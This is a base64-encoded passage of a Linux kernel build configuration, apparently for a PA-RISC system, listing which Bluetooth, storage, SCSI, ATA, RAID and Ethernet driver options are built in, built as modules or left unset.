RU4gaXMgbm90IHNldA0KIyBDT05GSUdfSEFNUkFESU8gaXMgbm90IHNldA0KIyBDT05GSUdfQ0FO
IGlzIG5vdCBzZXQNCiMgQ09ORklHX0lSREEgaXMgbm90IHNldA0KQ09ORklHX0JUPW0NCiMgQ09O
RklHX0JUX0wyQ0FQIGlzIG5vdCBzZXQNCkNPTkZJR19CVF9TQ089eQ0KDQojDQojIEJsdWV0b290
aCBkZXZpY2UgZHJpdmVycw0KIw0KQ09ORklHX0JUX0hDSUJUVVNCPW0NCkNPTkZJR19CVF9IQ0lV
QVJUPW0NCkNPTkZJR19CVF9IQ0lVQVJUX0g0PXkNCkNPTkZJR19CVF9IQ0lVQVJUX0JDU1A9eQ0K
IyBDT05GSUdfQlRfSENJVUFSVF9BVEgzSyBpcyBub3Qgc2V0DQpDT05GSUdfQlRfSENJVUFSVF9M
TD15DQpDT05GSUdfQlRfSENJQkNNMjAzWD1tDQpDT05GSUdfQlRfSENJQlBBMTBYPW0NCkNPTkZJ
R19CVF9IQ0lCRlVTQj1tDQpDT05GSUdfQlRfSENJVkhDST1tDQojIENPTkZJR19CVF9NUlZMIGlz
IG5vdCBzZXQNCiMgQ09ORklHX0JUX0FUSDNLIGlzIG5vdCBzZXQNCiMgQ09ORklHX0FGX1JYUlBD
IGlzIG5vdCBzZXQNCkNPTkZJR19XSVJFTEVTUz15DQojIENPTkZJR19DRkc4MDIxMSBpcyBub3Qg
c2V0DQojIENPTkZJR19MSUI4MDIxMSBpcyBub3Qgc2V0DQoNCiMNCiMgQ0ZHODAyMTEgbmVlZHMg
dG8gYmUgZW5hYmxlZCBmb3IgTUFDODAyMTENCiMNCiMgQ09ORklHX1dJTUFYIGlzIG5vdCBzZXQN
CiMgQ09ORklHX1JGS0lMTCBpcyBub3Qgc2V0DQojIENPTkZJR19ORVRfOVAgaXMgbm90IHNldA0K
IyBDT05GSUdfQ0FJRiBpcyBub3Qgc2V0DQojIENPTkZJR19DRVBIX0xJQiBpcyBub3Qgc2V0DQoj
IENPTkZJR19ORkMgaXMgbm90IHNldA0KDQojDQojIERldmljZSBEcml2ZXJzDQojDQoNCiMNCiMg
R2VuZXJpYyBEcml2ZXIgT3B0aW9ucw0KIw0KQ09ORklHX1VFVkVOVF9IRUxQRVJfUEFUSD0iL3Ni
aW4vaG90cGx1ZyINCiMgQ09ORklHX0RFVlRNUEZTIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NUQU5E
QUxPTkUgaXMgbm90IHNldA0KIyBDT05GSUdfUFJFVkVOVF9GSVJNV0FSRV9CVUlMRCBpcyBub3Qg
c2V0DQpDT05GSUdfRldfTE9BREVSPXkNCkNPTkZJR19GSVJNV0FSRV9JTl9LRVJORUw9eQ0KQ09O
RklHX0VYVFJBX0ZJUk1XQVJFPSIiDQojIENPTkZJR19ERUJVR19EUklWRVIgaXMgbm90IHNldA0K
IyBDT05GSUdfREVCVUdfREVWUkVTIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NZU19IWVBFUlZJU09S
IGlzIG5vdCBzZXQNCiMgQ09ORklHX0NPTk5FQ1RPUiBpcyBub3Qgc2V0DQojIENPTkZJR19NVEQg
aXMgbm90IHNldA0KQ09ORklHX1BBUlBPUlQ9bQ0KQ09ORklHX1BBUlBPUlRfUEM9bQ0KIyBDT05G
SUdfUEFSUE9SVF9TRVJJQUwgaXMgbm90IHNldA0KIyBDT05GSUdfUEFSUE9SVF9QQ19GSUZPIGlz
IG5vdCBzZXQNCiMgQ09ORklHX1BBUlBPUlRfUENfU1VQRVJJTyBpcyBub3Qgc2V0DQpDT05GSUdf
UEFSUE9SVF9HU0M9bQ0KIyBDT05GSUdfUEFSUE9SVF9BWDg4Nzk2IGlzIG5vdCBzZXQNCkNPTkZJ
R19QQVJQT1JUXzEyODQ9eQ0KQ09ORklHX1BBUlBPUlRfTk9UX1BDPXkNCkNPTkZJR19CTEtfREVW
PXkNCiMgQ09ORklHX1BBUklERSBpcyBub3Qgc2V0DQojIENPTkZJR19CTEtfQ1BRX0RBIGlzIG5v
dCBzZXQNCiMgQ09ORklHX0JMS19DUFFfQ0lTU19EQSBpcyBub3Qgc2V0DQojIENPTkZJR19CTEtf
REVWX0RBQzk2MCBpcyBub3Qgc2V0DQojIENPTkZJR19CTEtfREVWX1VNRU0gaXMgbm90IHNldA0K
IyBDT05GSUdfQkxLX0RFVl9DT1dfQ09NTU9OIGlzIG5vdCBzZXQNCkNPTkZJR19CTEtfREVWX0xP
T1A9bQ0KQ09ORklHX0JMS19ERVZfTE9PUF9NSU5fQ09VTlQ9OA0KQ09ORklHX0JMS19ERVZfQ1JZ
UFRPTE9PUD1tDQoNCiMNCiMgRFJCRCBkaXNhYmxlZCBiZWNhdXNlIFBST0NfRlMsIElORVQgb3Ig
Q09OTkVDVE9SIG5vdCBzZWxlY3RlZA0KIw0KIyBDT05GSUdfQkxLX0RFVl9OQkQgaXMgbm90IHNl
dA0KIyBDT05GSUdfQkxLX0RFVl9TWDggaXMgbm90IHNldA0KIyBDT05GSUdfQkxLX0RFVl9VQiBp
cyBub3Qgc2V0DQojIENPTkZJR19CTEtfREVWX1JBTSBpcyBub3Qgc2V0DQojIENPTkZJR19DRFJP
TV9QS1RDRFZEIGlzIG5vdCBzZXQNCiMgQ09ORklHX0FUQV9PVkVSX0VUSCBpcyBub3Qgc2V0DQoj
IENPTkZJR19WSVJUSU9fQkxLIGlzIG5vdCBzZXQNCiMgQ09ORklHX0JMS19ERVZfSEQgaXMgbm90
IHNldA0KIyBDT05GSUdfQkxLX0RFVl9SQkQgaXMgbm90IHNldA0KIyBDT05GSUdfU0VOU09SU19M
SVMzTFYwMkQgaXMgbm90IHNldA0KQ09ORklHX01JU0NfREVWSUNFUz15DQojIENPTkZJR19BRDUy
NVhfRFBPVCBpcyBub3Qgc2V0DQojIENPTkZJR19QSEFOVE9NIGlzIG5vdCBzZXQNCiMgQ09ORklH
X0lOVEVMX01JRF9QVEkgaXMgbm90IHNldA0KIyBDT05GSUdfU0dJX0lPQzQgaXMgbm90IHNldA0K
IyBDT05GSUdfVElGTV9DT1JFIGlzIG5vdCBzZXQNCiMgQ09ORklHX0lDUzkzMlM0MDEgaXMgbm90
IHNldA0KQ09ORklHX0VOQ0xPU1VSRV9TRVJWSUNFUz1tDQojIENPTkZJR19IUF9JTE8gaXMgbm90
IHNldA0KIyBDT05GSUdfQVBEUzk4MDJBTFMgaXMgbm90IHNldA0KIyBDT05GSUdfSVNMMjkwMDMg
aXMgbm90IHNldA0KIyBDT05GSUdfSVNMMjkwMjAgaXMgbm90IHNldA0KIyBDT05GSUdfU0VOU09S
U19UU0wyNTUwIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NFTlNPUlNfQkgxNzgwIGlzIG5vdCBzZXQN
CiMgQ09ORklHX1NFTlNPUlNfQkgxNzcwIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NFTlNPUlNfQVBE
Uzk5MFggaXMgbm90IHNldA0KIyBDT05GSUdfSE1DNjM1MiBpcyBub3Qgc2V0DQojIENPTkZJR19E
UzE2ODIgaXMgbm90IHNldA0KIyBDT05GSUdfQk1QMDg1IGlzIG5vdCBzZXQNCiMgQ09ORklHX1BD
SF9QSFVCIGlzIG5vdCBzZXQNCiMgQ09ORklHX1VTQl9TV0lUQ0hfRlNBOTQ4MCBpcyBub3Qgc2V0
DQojIENPTkZJR19DMlBPUlQgaXMgbm90IHNldA0KDQojDQojIEVFUFJPTSBzdXBwb3J0DQojDQoj
IENPTkZJR19FRVBST01fQVQyNCBpcyBub3Qgc2V0DQojIENPTkZJR19FRVBST01fTEVHQUNZIGlz
IG5vdCBzZXQNCiMgQ09ORklHX0VFUFJPTV9NQVg2ODc1IGlzIG5vdCBzZXQNCiMgQ09ORklHX0VF
UFJPTV85M0NYNiBpcyBub3Qgc2V0DQojIENPTkZJR19DQjcxMF9DT1JFIGlzIG5vdCBzZXQNCg0K
Iw0KIyBUZXhhcyBJbnN0cnVtZW50cyBzaGFyZWQgdHJhbnNwb3J0IGxpbmUgZGlzY2lwbGluZQ0K
Iw0KIyBDT05GSUdfU0VOU09SU19MSVMzX0kyQyBpcyBub3Qgc2V0DQoNCiMNCiMgQWx0ZXJhIEZQ
R0EgZmlybXdhcmUgZG93bmxvYWQgbW9kdWxlDQojDQojIENPTkZJR19BTFRFUkFfU1RBUEwgaXMg
bm90IHNldA0KQ09ORklHX0hBVkVfSURFPXkNCiMgQ09ORklHX0lERSBpcyBub3Qgc2V0DQoNCiMN
CiMgU0NTSSBkZXZpY2Ugc3VwcG9ydA0KIw0KQ09ORklHX1NDU0lfTU9EPXkNCiMgQ09ORklHX1JB
SURfQVRUUlMgaXMgbm90IHNldA0KQ09ORklHX1NDU0k9eQ0KQ09ORklHX1NDU0lfRE1BPXkNCkNP
TkZJR19TQ1NJX1RHVD1tDQojIENPTkZJR19TQ1NJX05FVExJTksgaXMgbm90IHNldA0KQ09ORklH
X1NDU0lfUFJPQ19GUz15DQoNCiMNCiMgU0NTSSBzdXBwb3J0IHR5cGUgKGRpc2ssIHRhcGUsIENE
LVJPTSkNCiMNCkNPTkZJR19CTEtfREVWX1NEPXkNCkNPTkZJR19DSFJfREVWX1NUPXkNCiMgQ09O
RklHX0NIUl9ERVZfT1NTVCBpcyBub3Qgc2V0DQpDT05GSUdfQkxLX0RFVl9TUj15DQojIENPTkZJ
R19CTEtfREVWX1NSX1ZFTkRPUiBpcyBub3Qgc2V0DQpDT05GSUdfQ0hSX0RFVl9TRz15DQojIENP
TkZJR19DSFJfREVWX1NDSCBpcyBub3Qgc2V0DQpDT05GSUdfU0NTSV9FTkNMT1NVUkU9bQ0KIyBD
T05GSUdfU0NTSV9NVUxUSV9MVU4gaXMgbm90IHNldA0KQ09ORklHX1NDU0lfQ09OU1RBTlRTPXkN
CkNPTkZJR19TQ1NJX0xPR0dJTkc9eQ0KIyBDT05GSUdfU0NTSV9TQ0FOX0FTWU5DIGlzIG5vdCBz
ZXQNCkNPTkZJR19TQ1NJX1dBSVRfU0NBTj1tDQoNCiMNCiMgU0NTSSBUcmFuc3BvcnRzDQojDQpD
T05GSUdfU0NTSV9TUElfQVRUUlM9eQ0KIyBDT05GSUdfU0NTSV9GQ19BVFRSUyBpcyBub3Qgc2V0
DQojIENPTkZJR19TQ1NJX0lTQ1NJX0FUVFJTIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NDU0lfU0FT
X0FUVFJTIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NDU0lfU0FTX0xJQlNBUyBpcyBub3Qgc2V0DQoj
IENPTkZJR19TQ1NJX1NSUF9BVFRSUyBpcyBub3Qgc2V0DQpDT05GSUdfU0NTSV9MT1dMRVZFTD15
DQojIENPTkZJR19JU0NTSV9UQ1AgaXMgbm90IHNldA0KIyBDT05GSUdfSVNDU0lfQk9PVF9TWVNG
UyBpcyBub3Qgc2V0DQojIENPTkZJR19TQ1NJX0NYR0IzX0lTQ1NJIGlzIG5vdCBzZXQNCiMgQ09O
RklHX1NDU0lfQ1hHQjRfSVNDU0kgaXMgbm90IHNldA0KIyBDT05GSUdfU0NTSV9CTlgyX0lTQ1NJ
IGlzIG5vdCBzZXQNCiMgQ09ORklHX1NDU0lfQk5YMlhfRkNPRSBpcyBub3Qgc2V0DQojIENPTkZJ
R19CRTJJU0NTSSBpcyBub3Qgc2V0DQojIENPTkZJR19CTEtfREVWXzNXX1hYWFhfUkFJRCBpcyBu
b3Qgc2V0DQojIENPTkZJR19TQ1NJX0hQU0EgaXMgbm90IHNldA0KIyBDT05GSUdfU0NTSV8zV185
WFhYIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NDU0lfM1dfU0FTIGlzIG5vdCBzZXQNCiMgQ09ORklH
X1NDU0lfQUNBUkQgaXMgbm90IHNldA0KIyBDT05GSUdfU0NTSV9BSEExNzQwIGlzIG5vdCBzZXQN
CiMgQ09ORklHX1NDU0lfQUFDUkFJRCBpcyBub3Qgc2V0DQojIENPTkZJR19TQ1NJX0FJQzdYWFgg
aXMgbm90IHNldA0KIyBDT05GSUdfU0NTSV9BSUM3WFhYX09MRCBpcyBub3Qgc2V0DQojIENPTkZJ
R19TQ1NJX0FJQzc5WFggaXMgbm90IHNldA0KIyBDT05GSUdfU0NTSV9BSUM5NFhYIGlzIG5vdCBz
ZXQNCiMgQ09ORklHX1NDU0lfTVZTQVMgaXMgbm90IHNldA0KIyBDT05GSUdfU0NTSV9NVlVNSSBp
cyBub3Qgc2V0DQojIENPTkZJR19TQ1NJX0RQVF9JMk8gaXMgbm90IHNldA0KIyBDT05GSUdfU0NT
SV9BRFZBTlNZUyBpcyBub3Qgc2V0DQojIENPTkZJR19TQ1NJX0FSQ01TUiBpcyBub3Qgc2V0DQoj
IENPTkZJR19NRUdBUkFJRF9ORVdHRU4gaXMgbm90IHNldA0KIyBDT05GSUdfTUVHQVJBSURfTEVH
QUNZIGlzIG5vdCBzZXQNCiMgQ09ORklHX01FR0FSQUlEX1NBUyBpcyBub3Qgc2V0DQojIENPTkZJ
R19TQ1NJX01QVDJTQVMgaXMgbm90IHNldA0KIyBDT05GSUdfU0NTSV9IUFRJT1AgaXMgbm90IHNl
dA0KIyBDT05GSUdfTElCRkMgaXMgbm90IHNldA0KIyBDT05GSUdfTElCRkNPRSBpcyBub3Qgc2V0
DQojIENPTkZJR19GQ09FIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NDU0lfRE1YMzE5MUQgaXMgbm90
IHNldA0KIyBDT05GSUdfU0NTSV9GVVRVUkVfRE9NQUlOIGlzIG5vdCBzZXQNCiMgQ09ORklHX1ND
U0lfSVBTIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NDU0lfSU5JVElPIGlzIG5vdCBzZXQNCiMgQ09O
RklHX1NDU0lfSU5JQTEwMCBpcyBub3Qgc2V0DQojIENPTkZJR19TQ1NJX1BQQSBpcyBub3Qgc2V0
DQojIENPTkZJR19TQ1NJX0lNTSBpcyBub3Qgc2V0DQojIENPTkZJR19TQ1NJX0xBU0k3MDAgaXMg
bm90IHNldA0KIyBDT05GSUdfU0NTSV9TVEVYIGlzIG5vdCBzZXQNCkNPTkZJR19TQ1NJX1NZTTUz
QzhYWF8yPXkNCkNPTkZJR19TQ1NJX1NZTTUzQzhYWF9ETUFfQUREUkVTU0lOR19NT0RFPTENCkNP
TkZJR19TQ1NJX1NZTTUzQzhYWF9ERUZBVUxUX1RBR1M9MTYNCkNPTkZJR19TQ1NJX1NZTTUzQzhY
WF9NQVhfVEFHUz02NA0KQ09ORklHX1NDU0lfU1lNNTNDOFhYX01NSU89eQ0KIyBDT05GSUdfU0NT
SV9JUFIgaXMgbm90IHNldA0KIyBDT05GSUdfU0NTSV9aQUxPTiBpcyBub3Qgc2V0DQojIENPTkZJ
R19TQ1NJX1FMT0dJQ18xMjgwIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NDU0lfUUxBX0ZDIGlzIG5v
dCBzZXQNCiMgQ09ORklHX1NDU0lfUUxBX0lTQ1NJIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NDU0lf
TFBGQyBpcyBub3Qgc2V0DQojIENPTkZJR19TQ1NJX1NJTTcxMCBpcyBub3Qgc2V0DQojIENPTkZJ
R19TQ1NJX0RDMzk1eCBpcyBub3Qgc2V0DQojIENPTkZJR19TQ1NJX0RDMzkwVCBpcyBub3Qgc2V0
DQpDT05GSUdfU0NTSV9ERUJVRz1tDQojIENPTkZJR19TQ1NJX1BNQ1JBSUQgaXMgbm90IHNldA0K
IyBDT05GSUdfU0NTSV9QTTgwMDEgaXMgbm90IHNldA0KQ09ORklHX1NDU0lfU1JQPW0NCiMgQ09O
RklHX1NDU0lfQkZBX0ZDIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NDU0lfREggaXMgbm90IHNldA0K
IyBDT05GSUdfU0NTSV9PU0RfSU5JVElBVE9SIGlzIG5vdCBzZXQNCkNPTkZJR19BVEE9bQ0KIyBD
T05GSUdfQVRBX05PTlNUQU5EQVJEIGlzIG5vdCBzZXQNCkNPTkZJR19BVEFfVkVSQk9TRV9FUlJP
Uj15DQpDT05GSUdfU0FUQV9QTVA9eQ0KDQojDQojIENvbnRyb2xsZXJzIHdpdGggbm9uLVNGRiBu
YXRpdmUgaW50ZXJmYWNlDQojDQpDT05GSUdfU0FUQV9BSENJPW0NCkNPTkZJR19TQVRBX0FIQ0lf
UExBVEZPUk09bQ0KQ09ORklHX1NBVEFfSU5JQzE2Mlg9bQ0KQ09ORklHX1NBVEFfQUNBUkRfQUhD
ST1tDQpDT05GSUdfU0FUQV9TSUwyND1tDQpDT05GSUdfQVRBX1NGRj15DQoNCiMNCiMgU0ZGIGNv
bnRyb2xsZXJzIHdpdGggY3VzdG9tIERNQSBpbnRlcmZhY2UNCiMNCkNPTkZJR19QRENfQURNQT1t
DQpDT05GSUdfU0FUQV9RU1RPUj1tDQpDT05GSUdfU0FUQV9TWDQ9bQ0KQ09ORklHX0FUQV9CTURN
QT15DQoNCiMNCiMgU0FUQSBTRkYgY29udHJvbGxlcnMgd2l0aCBCTURNQQ0KIw0KQ09ORklHX0FU
QV9QSUlYPW0NCkNPTkZJR19TQVRBX01WPW0NCkNPTkZJR19TQVRBX05WPW0NCkNPTkZJR19TQVRB
X1BST01JU0U9bQ0KQ09ORklHX1NBVEFfU0lMPW0NCkNPTkZJR19TQVRBX1NJUz1tDQpDT05GSUdf
U0FUQV9TVlc9bQ0KQ09ORklHX1NBVEFfVUxJPW0NCkNPTkZJR19TQVRBX1ZJQT1tDQpDT05GSUdf
U0FUQV9WSVRFU1NFPW0NCg0KIw0KIyBQQVRBIFNGRiBjb250cm9sbGVycyB3aXRoIEJNRE1BDQoj
DQpDT05GSUdfUEFUQV9BTEk9bQ0KQ09ORklHX1BBVEFfQU1EPW0NCkNPTkZJR19QQVRBX0FSVE9Q
PW0NCkNPTkZJR19QQVRBX0FUSUlYUD1tDQpDT05GSUdfUEFUQV9BVFA4NjdYPW0NCkNPTkZJR19Q
QVRBX0NNRDY0WD1tDQpDT05GSUdfUEFUQV9DUzU1MjA9bQ0KQ09ORklHX1BBVEFfQ1M1NTMwPW0N
CkNPTkZJR19QQVRBX0NTNTUzNj1tDQpDT05GSUdfUEFUQV9DWVBSRVNTPW0NCkNPTkZJR19QQVRB
X0VGQVI9bQ0KQ09ORklHX1BBVEFfSFBUMzY2PW0NCkNPTkZJR19QQVRBX0hQVDM3WD1tDQpDT05G
SUdfUEFUQV9IUFQzWDJOPW0NCkNPTkZJR19QQVRBX0hQVDNYMz1tDQojIENPTkZJR19QQVRBX0hQ
VDNYM19ETUEgaXMgbm90IHNldA0KQ09ORklHX1BBVEFfSVQ4MjEzPW0NCkNPTkZJR19QQVRBX0lU
ODIxWD1tDQpDT05GSUdfUEFUQV9KTUlDUk9OPW0NCkNPTkZJR19QQVRBX01BUlZFTEw9bQ0KQ09O
RklHX1BBVEFfTkVUQ0VMTD1tDQpDT05GSUdfUEFUQV9OSU5KQTMyPW0NCkNPTkZJR19QQVRBX05T
ODc0MTU9bQ0KQ09ORklHX1BBVEFfT0xEUElJWD1tDQpDT05GSUdfUEFUQV9PUFRJRE1BPW0NCkNP
TkZJR19QQVRBX1BEQzIwMjdYPW0NCkNPTkZJR19QQVRBX1BEQ19PTEQ9bQ0KQ09ORklHX1BBVEFf
UkFESVNZUz1tDQpDT05GSUdfUEFUQV9SREM9bQ0KQ09ORklHX1BBVEFfU0MxMjAwPW0NCkNPTkZJ
R19QQVRBX1NDSD1tDQpDT05GSUdfUEFUQV9TRVJWRVJXT1JLUz1tDQpDT05GSUdfUEFUQV9TSUw2
ODA9bQ0KQ09ORklHX1BBVEFfU0lTPW0NCkNPTkZJR19QQVRBX1RPU0hJQkE9bQ0KQ09ORklHX1BB
VEFfVFJJRkxFWD1tDQpDT05GSUdfUEFUQV9WSUE9bQ0KQ09ORklHX1BBVEFfV0lOQk9ORD1tDQoN
CiMNCiMgUElPLW9ubHkgU0ZGIGNvbnRyb2xsZXJzDQojDQpDT05GSUdfUEFUQV9DTUQ2NDBfUENJ
PW0NCkNPTkZJR19QQVRBX01QSUlYPW0NCkNPTkZJR19QQVRBX05TODc0MTA9bQ0KQ09ORklHX1BB
VEFfT1BUST1tDQpDT05GSUdfUEFUQV9QTEFURk9STT1tDQpDT05GSUdfUEFUQV9SWjEwMDA9bQ0K
DQojDQojIEdlbmVyaWMgZmFsbGJhY2sgLyBsZWdhY3kgZHJpdmVycw0KIw0KQ09ORklHX0FUQV9H
RU5FUklDPW0NCkNPTkZJR19QQVRBX0xFR0FDWT1tDQpDT05GSUdfTUQ9eQ0KQ09ORklHX0JMS19E
RVZfTUQ9bQ0KQ09ORklHX01EX0xJTkVBUj1tDQpDT05GSUdfTURfUkFJRDA9bQ0KQ09ORklHX01E
X1JBSUQxPW0NCkNPTkZJR19NRF9SQUlEMTA9bQ0KQ09ORklHX01EX1JBSUQ0NTY9bQ0KIyBDT05G
SUdfTVVMVElDT1JFX1JBSUQ0NTYgaXMgbm90IHNldA0KQ09ORklHX01EX01VTFRJUEFUSD1tDQpD
T05GSUdfTURfRkFVTFRZPW0NCkNPTkZJR19CTEtfREVWX0RNPW0NCiMgQ09ORklHX0RNX0RFQlVH
IGlzIG5vdCBzZXQNCkNPTkZJR19ETV9DUllQVD1tDQojIENPTkZJR19ETV9TTkFQU0hPVCBpcyBu
b3Qgc2V0DQojIENPTkZJR19ETV9USElOX1BST1ZJU0lPTklORyBpcyBub3Qgc2V0DQpDT05GSUdf
RE1fTUlSUk9SPW0NCiMgQ09ORklHX0RNX1JBSUQgaXMgbm90IHNldA0KIyBDT05GSUdfRE1fTE9H
X1VTRVJTUEFDRSBpcyBub3Qgc2V0DQpDT05GSUdfRE1fWkVSTz1tDQpDT05GSUdfRE1fTVVMVElQ
QVRIPW0NCiMgQ09ORklHX0RNX01VTFRJUEFUSF9RTCBpcyBub3Qgc2V0DQojIENPTkZJR19ETV9N
VUxUSVBBVEhfU1QgaXMgbm90IHNldA0KIyBDT05GSUdfRE1fREVMQVkgaXMgbm90IHNldA0KIyBD
T05GSUdfRE1fVUVWRU5UIGlzIG5vdCBzZXQNCiMgQ09ORklHX0RNX0ZMQUtFWSBpcyBub3Qgc2V0
DQojIENPTkZJR19UQVJHRVRfQ09SRSBpcyBub3Qgc2V0DQojIENPTkZJR19GVVNJT04gaXMgbm90
IHNldA0KDQojDQojIElFRUUgMTM5NCAoRmlyZVdpcmUpIHN1cHBvcnQNCiMNCiMgQ09ORklHX0ZJ
UkVXSVJFIGlzIG5vdCBzZXQNCiMgQ09ORklHX0ZJUkVXSVJFX05PU1kgaXMgbm90IHNldA0KIyBD
T05GSUdfSTJPIGlzIG5vdCBzZXQNCkNPTkZJR19ORVRERVZJQ0VTPXkNCkNPTkZJR19ORVRfQ09S
RT15DQojIENPTkZJR19CT05ESU5HIGlzIG5vdCBzZXQNCiMgQ09ORklHX0RVTU1ZIGlzIG5vdCBz
ZXQNCiMgQ09ORklHX0VRVUFMSVpFUiBpcyBub3Qgc2V0DQojIENPTkZJR19ORVRfRkMgaXMgbm90
IHNldA0KQ09ORklHX01JST1tDQojIENPTkZJR19NQUNWTEFOIGlzIG5vdCBzZXQNCkNPTkZJR19O
RVRDT05TT0xFPXkNCkNPTkZJR19ORVRQT0xMPXkNCkNPTkZJR19ORVRQT0xMX1RSQVA9eQ0KQ09O
RklHX05FVF9QT0xMX0NPTlRST0xMRVI9eQ0KQ09ORklHX1RVTj1tDQojIENPTkZJR19WRVRIIGlz
IG5vdCBzZXQNCiMgQ09ORklHX1ZJUlRJT19ORVQgaXMgbm90IHNldA0KIyBDT05GSUdfQVJDTkVU
IGlzIG5vdCBzZXQNCg0KIw0KIyBDQUlGIHRyYW5zcG9ydCBkcml2ZXJzDQojDQpDT05GSUdfRVRI
RVJORVQ9eQ0KQ09ORklHX01ESU89bQ0KIyBDT05GSUdfTkVUX1ZFTkRPUl8zQ09NIGlzIG5vdCBz
ZXQNCkNPTkZJR19ORVRfVkVORE9SX0FEQVBURUM9eQ0KQ09ORklHX0FEQVBURUNfU1RBUkZJUkU9
bQ0KQ09ORklHX05FVF9WRU5ET1JfQUxURU9OPXkNCkNPTkZJR19BQ0VOSUM9bQ0KIyBDT05GSUdf
QUNFTklDX09NSVRfVElHT05fSSBpcyBub3Qgc2V0DQpDT05GSUdfTkVUX1ZFTkRPUl9BTUQ9eQ0K
Q09ORklHX0FNRDgxMTFfRVRIPW0NCkNPTkZJR19QQ05FVDMyPW0NCkNPTkZJR19ERVBDQT1tDQpD
T05GSUdfTkVUX1ZFTkRPUl9BVEhFUk9TPXkNCkNPTkZJR19BVEwyPW0NCkNPTkZJR19BVEwxPW0N
CkNPTkZJR19BVEwxRT1tDQpDT05GSUdfQVRMMUM9bQ0KQ09ORklHX05FVF9WRU5ET1JfQlJPQURD
T009eQ0KQ09ORklHX0I0ND1tDQpDT05GSUdfQjQ0X1BDSV9BVVRPU0VMRUNUPXkNCkNPTkZJR19C
NDRfUENJQ09SRV9BVVRPU0VMRUNUPXkNCkNPTkZJR19CNDRfUENJPXkNCkNPTkZJR19CTlgyPW0N
CkNPTkZJR19DTklDPW0NCkNPTkZJR19USUdPTjM9bQ0KQ09ORklHX0JOWDJYPW0NCkNPTkZJR19O
RVRfVkVORE9SX0JST0NBREU9eQ0KQ09ORklHX0JOQT1tDQojIENPTkZJR19ORVRfVkVORE9SX0NI
RUxTSU8gaXMgbm90IHNldA0KQ09ORklHX05FVF9WRU5ET1JfQ0lSUlVTPXkNCkNPTkZJR19DUzg5
eDA9bQ0KQ09ORklHX05FVF9WRU5ET1JfQ0lTQ089eQ0KQ09ORklHX0VOSUM9bQ0KQ09ORklHX0RO
RVQ9bQ0KQ09ORklHX05FVF9WRU5ET1JfREVDPXkNCkNPTkZJR19ORVRfVFVMSVA9eQ0KQ09ORklH
X0RFMjEwNFg9bQ0KQ09ORklHX0RFMjEwNFhfRFNMPTANCkNPTkZJR19UVUxJUD15DQojIENPTkZJ
R19UVUxJUF9NV0kgaXMgbm90IHNldA0KIyBDT05GSUdfVFVMSVBfTU1JTyBpcyBub3Qgc2V0DQoj
IENPTkZJR19UVUxJUF9OQVBJIGlzIG5vdCBzZXQNCkNPTkZJR19ERTRYNT1tDQpDT05GSUdfV0lO
Qk9ORF84NDA9bQ0KQ09ORklHX0RNOTEwMj1tDQpDT05GSUdfVUxJNTI2WD1tDQpDT05GSUdfTkVU
X1ZFTkRPUl9ETElOSz15DQpDT05GSUdfREU2MDA9bQ0KQ09ORklHX0RFNjIwPW0NCkNPTkZJR19E
TDJLPW0NCkNPTkZJR19TVU5EQU5DRT1tDQojIENPTkZJR19TVU5EQU5DRV9NTUlPIGlzIG5vdCBz
ZXQNCkNPTkZJR19ORVRfVkVORE9SX0VNVUxFWD15DQpDT05GSUdfQkUyTkVUPW0NCiMgQ09ORklH
X05FVF9WRU5ET1JfRVhBUiBpcyBub3Qgc2V0DQpDT05GSUdfTkVUX1ZFTkRPUl9IUD15DQpDT05G
SUdfSFAxMDA9bQ0KQ09ORklHX05FVF9WRU5ET1JfSU5URUw9eQ0KQ09ORklHX0UxMDA9bQ0KQ09O
RklHX0UxMDAwPW0NCkNPTkZJR19FMTAwMEU9bQ0KQ09ORklHX0lHQj1tDQpDT05GSUdfSUdCVkY9
bQ0KQ09ORklHX0lYR0I9bQ0KQ09ORklHX0lYR0JFPW0NCkNPTkZJR19ORVRfVkVORE9SX0k4MjVY
WD15DQpDT05GSUdfTEFTSV84MjU5Nj1tDQpDT05GSUdfSVAxMDAwPW0NCkNPTkZJR19KTUU9bQ0K
Q09ORklHX05FVF9WRU5ET1JfTUFSVkVMTD15DQpDT05GSUdfU0tHRT1tDQojIENPTkZJR19TS0dF
X0RFQlVHIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NLR0VfR0VORVNJUyBpcyBub3Qgc2V0DQpDT05G
SUdfU0tZMj1tDQojIENPTkZJR19TS1kyX0RFQlVHIGlzIG5vdCBzZXQNCkNPTkZJR19ORVRfVkVO
RE9SX01FTExBTk9YPXkNCkNPTkZJR19NTFg0X0VOPW0NCkNPTkZJR19NTFg0X0NPUkU9bQ0KIyBD
T05GSUdfTUxYNF9ERUJVRyBpcyBub3Qgc2V0DQpDT05GSUdfTkVUX1ZFTkRPUl9NSUNSRUw9eQ0K
Q09ORklHX0tTODg1MV9NTEw9bQ0KQ09ORklHX0tTWjg4NFhfUENJPW0NCkNPTkZJR19ORVRfVkVO
RE9SX01ZUkk9eQ0KQ09ORklHX01ZUkkxMEdFPW0NCkNPTkZJR19GRUFMTlg9bQ0KQ09ORklHX05F
VF9WRU5ET1JfTkFUU0VNST15DQpDT05GSUdfTkFUU0VNST1tDQpDT05GSUdfTlM4MzgyMD1tDQoj
IENPTkZJR19ORVRfVkVORE9SXzgzOTAgaXMgbm90IHNldA0KQ09ORklHX05FVF9WRU5ET1JfTlZJ
RElBPXkNCkNPTkZJR19GT1JDRURFVEg9bQ0KQ09ORklHX05FVF9WRU5ET1JfT0tJPXkNCkNPTkZJ
R19QQ0hfR0JFPW0NCkNPTkZJR19FVEhPQz1tDQpDT05GSUdfTkVUX1BBQ0tFVF9FTkdJTkU9eQ0K
Q09ORklHX0hBTUFDSEk9bQ0KQ09ORklHX1lFTExPV0ZJTj1tDQpDT05GSUdfTkVUX1ZFTkRPUl9R
TE9HSUM9eQ0KQ09ORklHX1FMQTNYWFg9bQ0KQ09ORklHX1FMQ05JQz1tDQpDT05GSUdfUUxHRT1t
